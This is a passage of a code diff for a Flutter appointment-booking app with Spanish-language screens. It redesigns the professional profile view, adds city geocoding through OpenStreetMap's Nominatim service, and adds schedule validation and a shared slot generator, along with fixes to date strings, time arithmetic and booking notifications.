location: serviceLocationPreference!,
|
||||
@@ -615,12 +720,15 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
aditionalAddress: '',
|
||||
latitude: 0,
|
||||
longitude: 0,
|
||||
day: fechaSeleccionada.toString(),
|
||||
day: serviceDayParam(fechaSeleccionada!),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
description: _observationController.text,
|
||||
range1Hour1: horaSeleccionada!,
|
||||
range1Hour2:
|
||||
horaSeleccionada!.add(hour: 2),
|
||||
range1Hour2: SlotGenerator.endOf(
|
||||
horaSeleccionada!,
|
||||
profesionalSeleccionado!
|
||||
.professionalInfo
|
||||
.slotDurationMinutes),
|
||||
rate: '0',
|
||||
location: serviceLocationPreference!,
|
||||
),
|
||||
@@ -630,24 +738,12 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
// TODO: error inesperado
|
||||
}
|
||||
|
||||
if (profesionalSeleccionado!.myUser.token != null) {
|
||||
LocalNotifications.sendPushNotification(
|
||||
profesionalSeleccionado!.myUser.token!,
|
||||
'Nuevo servicio',
|
||||
'Tienes una nueva solicitud de servicio pendiente',
|
||||
);
|
||||
}
|
||||
|
||||
fechaSeleccionada = null;
|
||||
horaSeleccionada = null;
|
||||
profesionalSeleccionado = null;
|
||||
isClearButtonVisible = false;
|
||||
_observationController.text = '';
|
||||
serviceLocationPreference = null;
|
||||
|
||||
polylines.clear();
|
||||
markers.clear();
|
||||
setState(() {});
|
||||
// The form is NOT cleared here and the professional
|
||||
// is NOT notified here: both used to run right after
|
||||
// dispatching the event, so a failed booking still
|
||||
// sent "tienes una nueva solicitud" and wiped the
|
||||
// patient's date, hour and notes. See the
|
||||
// CreateServiceSuccess branch in the listener.
|
||||
},
|
||||
style: FilledButton.styleFrom(
|
||||
backgroundColor: Theme.of(context).colorScheme.primary,
|
||||
@@ -745,6 +841,25 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
);
|
||||
});
|
||||
|
||||
_animateCameraToPosition(_currentP!);
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
await _locateByUserCity();
|
||||
}
|
||||
}
|
||||
|
||||
Future<void> _locateByUserCity() async {
|
||||
try {
|
||||
final city = Injector.appInstance.get<MyUserBloc>().state.user?.city;
|
||||
if (city == null || city.isEmpty) return;
|
||||
|
||||
final coords = await NominatimGeocoder.forwardGeocodeCity(city);
|
||||
if (coords == null) return;
|
||||
|
||||
setState(() {
|
||||
_currentP = LatLng(coords.$1, coords.$2);
|
||||
});
|
||||
|
||||
_animateCameraToPosition(_currentP!);
|
||||
} catch (e) {
|
||||
log(e.toString());
|
||||
|
||||
@@ -57,7 +57,8 @@ class _UserServiceScreenState extends State<UserServiceScreen> {
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<ServiceBloc>(
|
||||
create: (context) => Injector.appInstance.get<ServiceBloc>(),
|
||||
create: (context) => Injector.appInstance.get<ServiceBloc>()
|
||||
..add(LoadService(widget.serviceId)),
|
||||
child: Scaffold(
|
||||
appBar: AppBar(
|
||||
title: const Text('Servicio'),
|
||||
@@ -275,12 +276,10 @@ class _UserServiceScreenState extends State<UserServiceScreen> {
|
||||
}
|
||||
},
|
||||
);
|
||||
} else if (state is CreateServiceFailure) {
|
||||
return _loadErrorState(context);
|
||||
} else {
|
||||
BlocProvider.of<ServiceBloc>(context)
|
||||
.add(LoadService(widget.serviceId));
|
||||
return const Center(
|
||||
child: CircularProgressIndicator(),
|
||||
);
|
||||
return const Center(child: CircularProgressIndicator());
|
||||
}
|
||||
},
|
||||
),
|
||||
@@ -288,6 +287,32 @@ class _UserServiceScreenState extends State<UserServiceScreen> {
|
||||
);
|
||||
}
|
||||
|
||||
/// Dispatching LoadService from build() turned any failure into an endless
|
||||
/// request loop: fail -> rebuild -> request -> fail. Errors now get an
|
||||
/// explicit retry instead of a permanent spinner.
|
||||
Widget _loadErrorState(BuildContext context) {
|
||||
return Center(
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.all(24),
|
||||
child: Column(
|
||||
mainAxisSize: MainAxisSize.min,
|
||||
children: [
|
||||
const Icon(Icons.error_outline, size: 40, color: Colors.grey),
|
||||
const SizedBox(height: 12),
|
||||
const Text('No se pudo cargar el servicio',
|
||||
textAlign: TextAlign.center),
|
||||
const SizedBox(height: 16),
|
||||
OutlinedButton(
|
||||
onPressed: () => BlocProvider.of<ServiceBloc>(context)
|
||||
.add(LoadService(widget.serviceId)),
|
||||
child: const Text('Reintentar'),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget customMessageStatus(ServiceEntity service) {
|
||||
DateTime serviceDate = DateTime.parse(service.day);
|
||||
DateTime now = DateTime.now();
|
||||
@@ -404,7 +429,7 @@ class _UserServiceScreenState extends State<UserServiceScreen> {
|
||||
}
|
||||
|
||||
if (service.status == ServiceStatus.completed &&
|
||||
service.userScored == false) {
|
||||
service.professionalScored == false) {
|
||||
return Stack(
|
||||
alignment: AlignmentDirectional.topCenter,
|
||||
clipBehavior: Clip.none,
|
||||
@@ -479,7 +504,7 @@ class _UserServiceScreenState extends State<UserServiceScreen> {
|
||||
}
|
||||
|
||||
if (service.status == ServiceStatus.completed &&
|
||||
service.userScored == true) {
|
||||
service.professionalScored == true) {
|
||||
return Stack(
|
||||
alignment: AlignmentDirectional.topCenter,
|
||||
clipBehavior: Clip.none,
|
||||
|
||||
@@ -1,204 +1,279 @@
|
||||
import 'package:flutter/cupertino.dart';
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:intl/intl.dart';
|
||||
import 'package:prosappco/blocs/professional_list_bloc/professional_list_bloc.dart';
|
||||
|
||||
class UserViewProfileScreen extends StatelessWidget {
|
||||
UserProfessional userProfessional;
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
UserViewProfileScreen({
|
||||
extension _Th on BuildContext {
|
||||
ThemeData get _t => Theme.of(this);
|
||||
Color get bg => _t.scaffoldBackgroundColor;
|
||||
Color get card => _t.cardColor;
|
||||
Color get onSurface => _t.colorScheme.onSurface;
|
||||
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
|
||||
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
|
||||
bool get isDark => _t.brightness == Brightness.dark;
|
||||
Color get shadowSm =>
|
||||
isDark ? Colors.transparent : Colors.black.withOpacity(0.05);
|
||||
}
|
||||
|
||||
class UserViewProfileScreen extends StatelessWidget {
|
||||
final UserProfessional userProfessional;
|
||||
|
||||
const UserViewProfileScreen({
|
||||
super.key,
|
||||
required this.userProfessional,
|
||||
});
|
||||
|
||||
final double bannerHeight = 200;
|
||||
final double profileHeight = 160;
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Scaffold(
|
||||
appBar: AppBar(
|
||||
title: const Text('Perfil Profesional'),
|
||||
backgroundColor: context.bg,
|
||||
body: CustomScrollView(
|
||||
slivers: [
|
||||
_SliverHeader(userProfessional: userProfessional),
|
||||
SliverPadding(
|
||||
padding: const EdgeInsets.fromLTRB(16, 0, 16, 24),
|
||||
sliver: SliverList(
|
||||
delegate: SliverChildListDelegate([
|
||||
_nameSection(context),
|
||||
const SizedBox(height: 16),
|
||||
if (userProfessional
|
||||
.professionalInfo.specializations.isNotEmpty)
|
||||
_sectionCard(
|
||||
context,
|
||||
icon: Icons.stars_outlined,
|
||||
title: 'Especialidades',
|
||||
child: Wrap(
|
||||
spacing: 8,
|
||||
runSpacing: 8,
|
||||
children: userProfessional
|
||||
.professionalInfo.specializations
|
||||
.map((s) => _Chip(label: s))
|
||||
.toList(),
|
||||
),
|
||||
body: ListView(
|
||||
padding: EdgeInsets.zero,
|
||||
),
|
||||
if (userProfessional.professionalInfo.specializations.isNotEmpty)
|
||||
const SizedBox(height: 12),
|
||||
if (userProfessional.professionalInfo.rate.isNotEmpty)
|
||||
_sectionCard(
|
||||
context,
|
||||
icon: Icons.payments_outlined,
|
||||
title: 'Tarifa de consulta',
|
||||
child: Row(
|
||||
children: [
|
||||
buildTop(),
|
||||
buildContent(),
|
||||
Text(
|
||||
_formatCurrency(
|
||||
int.tryParse(userProfessional
|
||||
.professionalInfo.rate) ??
|
||||
0),
|
||||
style: TextStyle(
|
||||
fontSize: 22,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface),
|
||||
),
|
||||
const SizedBox(width: 6),
|
||||
Text('por consulta',
|
||||
style: TextStyle(
|
||||
fontSize: 12, color: context.muted)),
|
||||
],
|
||||
),
|
||||
),
|
||||
if (userProfessional.professionalInfo.rate.isNotEmpty)
|
||||
const SizedBox(height: 12),
|
||||
if (userProfessional.professionalInfo.paymentMethods.datafono ||
|
||||
userProfessional.professionalInfo.paymentMethods.nequi ||
|
||||
userProfessional
|
||||
.professionalInfo.paymentMethods.transferencia)
|
||||
_sectionCard(
|
||||
context,
|
||||
icon: Icons.credit_card_outlined,
|
||||
title: 'Métodos de pago',
|
||||
child: Wrap(
|
||||
spacing: 8,
|
||||
runSpacing: 8,
|
||||
children: [
|
||||
if (userProfessional
|
||||
.professionalInfo.paymentMethods.datafono)
|
||||
_Chip(label: 'Datafono', icon: Icons.point_of_sale_outlined),
|
||||
if (userProfessional
|
||||
.professionalInfo.paymentMethods.nequi)
|
||||
_Chip(label: 'Nequi', icon: Icons.phone_android_outlined),
|
||||
if (userProfessional
|
||||
.professionalInfo.paymentMethods.transferencia)
|
||||
_Chip(
|
||||
label: 'Transferencia',
|
||||
icon: Icons.account_balance_outlined),
|
||||
],
|
||||
),
|
||||
),
|
||||
]),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Stack buildTop() {
|
||||
final top = bannerHeight - profileHeight / 2;
|
||||
final bottom = profileHeight / 2;
|
||||
return Stack(
|
||||
clipBehavior: Clip.none,
|
||||
alignment: Alignment.center,
|
||||
children: [
|
||||
Container(
|
||||
margin: EdgeInsets.only(bottom: bottom),
|
||||
child: buildBannerImage(),
|
||||
),
|
||||
Positioned(
|
||||
top: top,
|
||||
child: buildProfileImage(),
|
||||
),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
buildContent() {
|
||||
Widget _nameSection(BuildContext context) {
|
||||
return Column(
|
||||
children: [
|
||||
Text(
|
||||
userProfessional.myUser.name ?? '',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(fontSize: 22, fontWeight: FontWeight.bold),
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(
|
||||
fontSize: 22,
|
||||
fontWeight: FontWeight.w700,
|
||||
color: context.onSurface),
|
||||
),
|
||||
const SizedBox(height: 4),
|
||||
Text(
|
||||
'${userProfessional.professionalInfo.profession}, ${userProfessional.myUser.city ?? ''}',
|
||||
'${userProfessional.professionalInfo.profession} · ${userProfessional.myUser.city ?? ''}',
|
||||
textAlign: TextAlign.center,
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: const TextStyle(fontSize: 18, color: Colors.black54),
|
||||
style: TextStyle(fontSize: 14, color: context.muted),
|
||||
),
|
||||
const Divider(),
|
||||
const Text(
|
||||
'Especialidades:',
|
||||
style: TextStyle(
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w500,
|
||||
),
|
||||
),
|
||||
userProfessional.professionalInfo.specializations.isEmpty
|
||||
? const Text(
|
||||
'No posee especialidades',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: TextStyle(fontSize: 15, color: Colors.black45),
|
||||
)
|
||||
: Wrap(
|
||||
spacing: 8,
|
||||
runSpacing: 8,
|
||||
alignment: WrapAlignment.center,
|
||||
children: userProfessional.professionalInfo.specializations
|
||||
.map((specialization) {
|
||||
return Chip(
|
||||
label: Text(specialization),
|
||||
);
|
||||
}).toList(),
|
||||
),
|
||||
Visibility(
|
||||
visible: userProfessional.professionalInfo.rate.isNotEmpty,
|
||||
child: const Divider(),
|
||||
),
|
||||
Visibility(
|
||||
visible: userProfessional.professionalInfo.rate.isNotEmpty,
|
||||
child: const Text(
|
||||
'Tarifa:',
|
||||
style: TextStyle(
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w500,
|
||||
),
|
||||
),
|
||||
),
|
||||
Visibility(
|
||||
visible: userProfessional.professionalInfo.rate.isNotEmpty,
|
||||
child: Wrap(
|
||||
spacing: 8,
|
||||
runSpacing: 8,
|
||||
alignment: WrapAlignment.center,
|
||||
children: [
|
||||
Chip(label: Text('\$${userProfessional.professionalInfo.rate}')),
|
||||
],
|
||||
),
|
||||
),
|
||||
const Divider(),
|
||||
const Text(
|
||||
'Metodos de pago recibidos:',
|
||||
style: TextStyle(
|
||||
fontSize: 18,
|
||||
fontWeight: FontWeight.w500,
|
||||
),
|
||||
),
|
||||
userProfessional.professionalInfo.paymentMethods.datafono ||
|
||||
userProfessional.professionalInfo.paymentMethods.nequi ||
|
||||
userProfessional.professionalInfo.paymentMethods.transferencia
|
||||
? Wrap(
|
||||
spacing: 8,
|
||||
runSpacing: 8,
|
||||
alignment: WrapAlignment.center,
|
||||
children: [
|
||||
Visibility(
|
||||
visible: userProfessional
|
||||
.professionalInfo.paymentMethods.datafono,
|
||||
child: const Chip(label: Text('Datafono')),
|
||||
),
|
||||
Visibility(
|
||||
visible:
|
||||
userProfessional.professionalInfo.paymentMethods.nequi,
|
||||
child: const Chip(label: Text('Nequi')),
|
||||
),
|
||||
Visibility(
|
||||
visible: userProfessional
|
||||
.professionalInfo.paymentMethods.transferencia,
|
||||
child: const Chip(label: Text('Transferencia Bancaria')),
|
||||
),
|
||||
],
|
||||
)
|
||||
: const Text(
|
||||
'No hay metodos de pago registrados',
|
||||
overflow: TextOverflow.ellipsis,
|
||||
style: TextStyle(fontSize: 15, color: Colors.black45),
|
||||
),
|
||||
const Divider(),
|
||||
],
|
||||
);
|
||||
}
|
||||
|
||||
Container buildProfileImage() {
|
||||
Widget _sectionCard(BuildContext context,
|
||||
{required IconData icon,
|
||||
required String title,
|
||||
required Widget child}) {
|
||||
return Container(
|
||||
width: 155,
|
||||
height: 155,
|
||||
width: double.infinity,
|
||||
padding: const EdgeInsets.all(16),
|
||||
decoration: BoxDecoration(
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(
|
||||
color: Colors.white,
|
||||
width: 5,
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(14),
|
||||
boxShadow: [
|
||||
BoxShadow(color: context.shadowSm, blurRadius: 10)
|
||||
],
|
||||
),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
Row(
|
||||
children: [
|
||||
Icon(icon, size: 16, color: _kPrimary),
|
||||
const SizedBox(width: 7),
|
||||
Text(title,
|
||||
style: const TextStyle(
|
||||
fontSize: 13,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: _kPrimary)),
|
||||
],
|
||||
),
|
||||
const SizedBox(height: 10),
|
||||
child,
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
String _formatCurrency(int n) {
|
||||
final formatter =
|
||||
NumberFormat.currency(locale: 'es_CO', decimalDigits: 0, symbol: '');
|
||||
return '\$${formatter.format(n)}';
|
||||
}
|
||||
}
|
||||
|
||||
class _SliverHeader extends StatelessWidget {
|
||||
final UserProfessional userProfessional;
|
||||
const _SliverHeader({required this.userProfessional});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return SliverAppBar(
|
||||
expandedHeight: 220,
|
||||
pinned: true,
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
flexibleSpace: FlexibleSpaceBar(
|
||||
collapseMode: CollapseMode.parallax,
|
||||
background: Stack(
|
||||
fit: StackFit.expand,
|
||||
children: [
|
||||
// Banner
|
||||
Image.network(
|
||||
userProfessional.professionalInfo.bannerPicture,
|
||||
fit: BoxFit.cover,
|
||||
errorBuilder: (_, __, ___) =>
|
||||
Container(color: _kPrimary.withOpacity(0.6)),
|
||||
),
|
||||
Container(
|
||||
decoration: BoxDecoration(
|
||||
gradient: LinearGradient(
|
||||
begin: Alignment.topCenter,
|
||||
end: Alignment.bottomCenter,
|
||||
colors: [
|
||||
Colors.transparent,
|
||||
Colors.black.withOpacity(0.45),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
// Avatar centered at bottom
|
||||
Positioned(
|
||||
bottom: 12,
|
||||
left: 0,
|
||||
right: 0,
|
||||
child: Center(
|
||||
child: Container(
|
||||
width: 150,
|
||||
height: 150,
|
||||
width: 82,
|
||||
height: 82,
|
||||
decoration: BoxDecoration(
|
||||
color: Colors.grey.shade300,
|
||||
shape: BoxShape.circle,
|
||||
border: Border.all(width: 0),
|
||||
border: Border.all(color: Colors.white, width: 3),
|
||||
color: Colors.grey.shade300,
|
||||
image: userProfessional.myUser.picture == null
|
||||
? null
|
||||
: DecorationImage(
|
||||
image: NetworkImage(userProfessional.myUser.picture ?? ''),
|
||||
fit: BoxFit.contain,
|
||||
),
|
||||
image: NetworkImage(
|
||||
userProfessional.myUser.picture!),
|
||||
fit: BoxFit.cover),
|
||||
),
|
||||
child: userProfessional.myUser.picture == null
|
||||
? Icon(
|
||||
CupertinoIcons.person,
|
||||
color: Colors.grey.shade400,
|
||||
size: 40,
|
||||
)
|
||||
? Icon(CupertinoIcons.person,
|
||||
color: Colors.grey.shade400, size: 40)
|
||||
: null,
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Container buildBannerImage() {
|
||||
return Container(
|
||||
color: Colors.grey,
|
||||
child: Image.network(
|
||||
userProfessional.professionalInfo.bannerPicture,
|
||||
fit: BoxFit.cover,
|
||||
width: double.infinity,
|
||||
height: bannerHeight,
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
class _Chip extends StatelessWidget {
|
||||
final String label;
|
||||
final IconData? icon;
|
||||
const _Chip({required this.label, this.icon});
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return Container(
|
||||
padding: const EdgeInsets.symmetric(horizontal: 10, vertical: 5),
|
||||
decoration: BoxDecoration(
|
||||
color: _kPrimary.withOpacity(0.07),
|
||||
borderRadius: BorderRadius.circular(20),
|
||||
border: Border.all(color: _kPrimary.withOpacity(0.2)),
|
||||
),
|
||||
child: Row(mainAxisSize: MainAxisSize.min, children: [
|
||||
if (icon != null) ...[
|
||||
Icon(icon, size: 13, color: _kPrimary),
|
||||
const SizedBox(width: 4),
|
||||
],
|
||||
Text(label,
|
||||
style: const TextStyle(
|
||||
fontSize: 12,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: _kPrimary)),
|
||||
]),
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,40 @@
|
||||
import 'dart:convert';
|
||||
import 'package:http/http.dart' as http;
|
||||
|
||||
class NominatimGeocoder {
|
||||
static Future<String?> reverseGeocodeCity(double lat, double lng) async {
|
||||
final uri = Uri.parse(
|
||||
'https://nominatim.openstreetmap.org/reverse'
|
||||
'?format=json&lat=$lat&lon=$lng&zoom=10&addressdetails=1',
|
||||
);
|
||||
final res = await http.get(
|
||||
uri,
|
||||
headers: {'User-Agent': 'ProsApp/1.0 (prosapp.co)'},
|
||||
);
|
||||
final data = jsonDecode(res.body) as Map<String, dynamic>;
|
||||
final address = data['address'] as Map<String, dynamic>?;
|
||||
return address?['city'] as String? ??
|
||||
address?['town'] as String? ??
|
||||
address?['municipality'] as String? ??
|
||||
address?['county'] as String?;
|
||||
}
|
||||
|
||||
static Future<(double lat, double lng)?> forwardGeocodeCity(
|
||||
String cityName) async {
|
||||
final uri = Uri.parse(
|
||||
'https://nominatim.openstreetmap.org/search'
|
||||
'?format=json&limit=1&q=${Uri.encodeQueryComponent(cityName)}',
|
||||
);
|
||||
final res = await http.get(
|
||||
uri,
|
||||
headers: {'User-Agent': 'ProsApp/1.0 (prosapp.co)'},
|
||||
);
|
||||
final data = jsonDecode(res.body) as List;
|
||||
if (data.isEmpty) return null;
|
||||
final first = data.first as Map<String, dynamic>;
|
||||
final lat = double.tryParse(first['lat']?.toString() ?? '');
|
||||
final lng = double.tryParse(first['lon']?.toString() ?? '');
|
||||
if (lat == null || lng == null) return null;
|
||||
return (lat, lng);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,64 @@
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
import 'package:prosappco/utils/time_of_day_extension.dart';
|
||||
|
||||
const _dayNames = [
|
||||
'Lunes',
|
||||
'Martes',
|
||||
'Miércoles',
|
||||
'Jueves',
|
||||
'Viernes',
|
||||
'Sábado',
|
||||
'Domingo',
|
||||
];
|
||||
|
||||
/// Human-readable problems with a week of opening hours, empty when it is fine.
|
||||
///
|
||||
/// Nothing validated these before: an inverted or half-filled day saved
|
||||
/// happily and then produced zero bookable slots, with no clue as to why.
|
||||
List<String> validateSchedules(Schedules schedules) {
|
||||
final days = [
|
||||
schedules.monday,
|
||||
schedules.tuesday,
|
||||
schedules.wednesday,
|
||||
schedules.thursday,
|
||||
schedules.friday,
|
||||
schedules.saturday,
|
||||
schedules.sunday,
|
||||
];
|
||||
|
||||
final problems = <String>[];
|
||||
for (var i = 0; i < days.length; i++) {
|
||||
final problem = _validateDay(days[i]);
|
||||
if (problem != null) problems.add('${_dayNames[i]}: $problem');
|
||||
}
|
||||
return problems;
|
||||
}
|
||||
|
||||
String? _validateDay(ScheduleEntity day) {
|
||||
if (!day.enabled) return null;
|
||||
|
||||
if (day.continuousDay) {
|
||||
if (day.range1Hour1 == null || day.range2Hour2 == null) {
|
||||
return 'falta la hora de apertura o de cierre';
|
||||
}
|
||||
if (!day.range1Hour1!.isBefore(day.range2Hour2!)) {
|
||||
return 'la hora de cierre debe ser posterior a la de apertura';
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
final r = [day.range1Hour1, day.range1Hour2, day.range2Hour1, day.range2Hour2];
|
||||
if (r.any((t) => t == null)) {
|
||||
return 'faltan horas en la jornada partida';
|
||||
}
|
||||
if (!r[0]!.isBefore(r[1]!)) {
|
||||
return 'la primera jornada termina antes de empezar';
|
||||
}
|
||||
if (!r[2]!.isBefore(r[3]!)) {
|
||||
return 'la segunda jornada termina antes de empezar';
|
||||
}
|
||||
if (r[2]!.isBefore(r[1]!)) {
|
||||
return 'las dos jornadas se cruzan';
|
||||
}
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,14 @@
|
||||
/// Whether a service's `day` field refers to the same calendar day as [day].
|
||||
///
|
||||
/// The backend returns ISO 8601 ("2026-07-13T00:00:00.000Z") while
|
||||
/// `DateTime.toString()` produces a space separator ("2026-07-13 00:00:00.000Z"),
|
||||
/// so comparing the two as raw strings never matched and every booked slot
|
||||
/// rendered as free. Compare parsed calendar dates instead.
|
||||
bool isSameServiceDay(DateTime day, String? serviceDay) {
|
||||
if (serviceDay == null || serviceDay.isEmpty) return false;
|
||||
final parsed = DateTime.tryParse(serviceDay);
|
||||
if (parsed == null) return false;
|
||||
return parsed.year == day.year &&
|
||||
parsed.month == day.month &&
|
||||
parsed.day == day.day;
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
/// The `day` value the services API expects: `yyyy-MM-dd`.
|
||||
///
|
||||
/// `DateTime.toString()` produces "2026-08-25 00:00:00.000Z", which happens to
|
||||
/// slip past the backend validator but is not canonical ISO 8601 and differs
|
||||
/// from what the web sends for the same table.
|
||||
String serviceDayParam(DateTime d) =>
|
||||
'${d.year.toString().padLeft(4, '0')}-'
|
||||
'${d.month.toString().padLeft(2, '0')}-'
|
||||
'${d.day.toString().padLeft(2, '0')}';
|
||||
@@ -0,0 +1,74 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
import 'package:prosappco/utils/time_of_day_extension.dart';
|
||||
import 'package:prosappco/utils/time_of_day_utils.dart';
|
||||
|
||||
/// Minimum notice a patient has to give before an appointment.
|
||||
///
|
||||
/// It used to live only in the patient's calendar, so the professional's own
|
||||
/// agenda generated a different list: at 15:00 a professional working
|
||||
/// 08:00-18:00 with hourly slots saw "3 libres" (15:00, 16:00, 17:00) while
|
||||
/// the patient could only book 18:00. Both screens now go through
|
||||
/// [SlotGenerator], so the two lists always agree.
|
||||
const Duration kBookingLeadTime = Duration(hours: 3);
|
||||
|
||||
/// The single source of truth for "which times exist on this day".
|
||||
class SlotGenerator {
|
||||
const SlotGenerator._();
|
||||
|
||||
/// Times offered on [day] for [schedule].
|
||||
///
|
||||
/// [notBefore] drops the slots that are already in the past (or inside the
|
||||
/// lead time). Pass it as `DateTime.now().add(kBookingLeadTime)` for the
|
||||
/// patient flow and `DateTime.now()` for the professional's own agenda,
|
||||
/// where the professional may still block the next hour.
|
||||
static List<TimeOfDay> forDay({
|
||||
required ScheduleEntity? schedule,
|
||||
required DateTime day,
|
||||
required int slotDurationMinutes,
|
||||
DateTime? notBefore,
|
||||
}) {
|
||||
final raw = _rawSlots(schedule, slotDurationMinutes);
|
||||
if (notBefore == null) return raw;
|
||||
return raw.where((t) {
|
||||
final at = DateTime(day.year, day.month, day.day, t.hour, t.minute);
|
||||
return !at.isBefore(notBefore);
|
||||
}).toList();
|
||||
}
|
||||
|
||||
/// Where a slot starting at [start] ends.
|
||||
///
|
||||
/// Clamped to 23:59: a 120-minute slot starting at 23:00 used to produce
|
||||
/// "25:00", which is not a real time and the backend stored verbatim.
|
||||
static TimeOfDay endOf(TimeOfDay start, int slotDurationMinutes) {
|
||||
final total = start.hour * 60 + start.minute + slotDurationMinutes;
|
||||
if (total >= 24 * 60) return const TimeOfDay(hour: 23, minute: 59);
|
||||
return TimeOfDay(hour: total ~/ 60, minute: total % 60);
|
||||
}
|
||||
|
||||
static List<TimeOfDay> _rawSlots(ScheduleEntity? s, int stepMinutes) {
|
||||
if (s == null || !s.enabled) return [];
|
||||
if (s.continuousDay) {
|
||||
if (s.range1Hour1 == null || s.range2Hour2 == null) return [];
|
||||
if (s.range1Hour1!.compareTo(s.range2Hour2!) >= 0) return [];
|
||||
return TimeOfDayUtils.genRanges(s.range1Hour1!, s.range2Hour2!,
|
||||
stepMinutes: stepMinutes);
|
||||
}
|
||||
if (s.range1Hour1 == null ||
|
||||
s.range1Hour2 == null ||
|
||||
s.range2Hour1 == null ||
|
||||
s.range2Hour2 == null) {
|
||||
return [];
|
||||
}
|
||||
if (s.range1Hour1!.compareTo(s.range1Hour2!) >= 0 ||
|
||||
s.range2Hour1!.compareTo(s.range2Hour2!) >= 0) {
|
||||
return [];
|
||||
}
|
||||
return [
|
||||
...TimeOfDayUtils.genRanges(s.range1Hour1!, s.range1Hour2!,
|
||||
stepMinutes: stepMinutes),
|
||||
...TimeOfDayUtils.genRanges(s.range2Hour1!, s.range2Hour2!,
|
||||
stepMinutes: stepMinutes),
|
||||
];
|
||||
}
|
||||
}
|
||||
@@ -1,8 +1,15 @@
|
||||
import 'package:flutter/material.dart';
|
||||
|
||||
extension TimeOfDayExtension on TimeOfDay {
|
||||
/// Adds the given offset, carrying minutes into hours.
|
||||
///
|
||||
/// Without the carry, adding a minute-based step (e.g. 45) would leave the
|
||||
/// hour untouched and produce values like "8:90", which makes [isBefore]
|
||||
/// loops run forever. The hour is intentionally NOT wrapped at 24 so that
|
||||
/// comparisons against an end-of-day bound still terminate.
|
||||
TimeOfDay add({int hour = 0, int minute = 0}) {
|
||||
return replacing(hour: this.hour + hour, minute: this.minute + minute);
|
||||
final totalMinutes = (this.hour + hour) * 60 + this.minute + minute;
|
||||
return TimeOfDay(hour: totalMinutes ~/ 60, minute: totalMinutes % 60);
|
||||
}
|
||||
|
||||
int compareTo(TimeOfDay other) {
|
||||
|
||||
@@ -2,13 +2,14 @@ import 'package:flutter/material.dart';
|
||||
import 'package:prosappco/utils/time_of_day_extension.dart';
|
||||
|
||||
class TimeOfDayUtils {
|
||||
static List<TimeOfDay> genRanges(TimeOfDay timeStart, TimeOfDay timeEnd) {
|
||||
static List<TimeOfDay> genRanges(TimeOfDay timeStart, TimeOfDay timeEnd,
|
||||
{int stepMinutes = 30}) {
|
||||
final step = stepMinutes.clamp(5, 480);
|
||||
List<TimeOfDay> ranges = [];
|
||||
TimeOfDay current = timeStart;
|
||||
while (current.isBefore(timeEnd)) {
|
||||
ranges.add(current);
|
||||
// Sumar 2 horas al objeto DateTime
|
||||
current = current.add(hour: 2);
|
||||
current = current.add(minute: step);
|
||||
}
|
||||
return ranges;
|
||||
}
|
||||
|
||||
@@ -0,0 +1,48 @@
|
||||
/// Compares dotted numeric versions, e.g. "1.0.14" vs "1.0.2".
|
||||
///
|
||||
/// Returns a negative number when [a] is older than [b], 0 when they are
|
||||
/// equivalent, and a positive number when [a] is newer. Missing segments count
|
||||
/// as 0, so "1.0" and "1.0.0" are equivalent. Returns null when either side
|
||||
/// cannot be parsed.
|
||||
int? compareVersions(String? a, String? b) {
|
||||
final left = _segments(a);
|
||||
final right = _segments(b);
|
||||
if (left == null || right == null) return null;
|
||||
|
||||
final length = left.length > right.length ? left.length : right.length;
|
||||
for (var i = 0; i < length; i++) {
|
||||
final l = i < left.length ? left[i] : 0;
|
||||
final r = i < right.length ? right[i] : 0;
|
||||
if (l != r) return l - r;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
/// Whether [current] is strictly older than [minimum].
|
||||
///
|
||||
/// Deliberately fails open: a missing or unparseable value returns false, so a
|
||||
/// backend misconfiguration can never lock users out of the app behind the
|
||||
/// blocking "you must update" dialog. Equal or newer versions are fine too — a
|
||||
/// build ahead of the configured minimum is not out of date.
|
||||
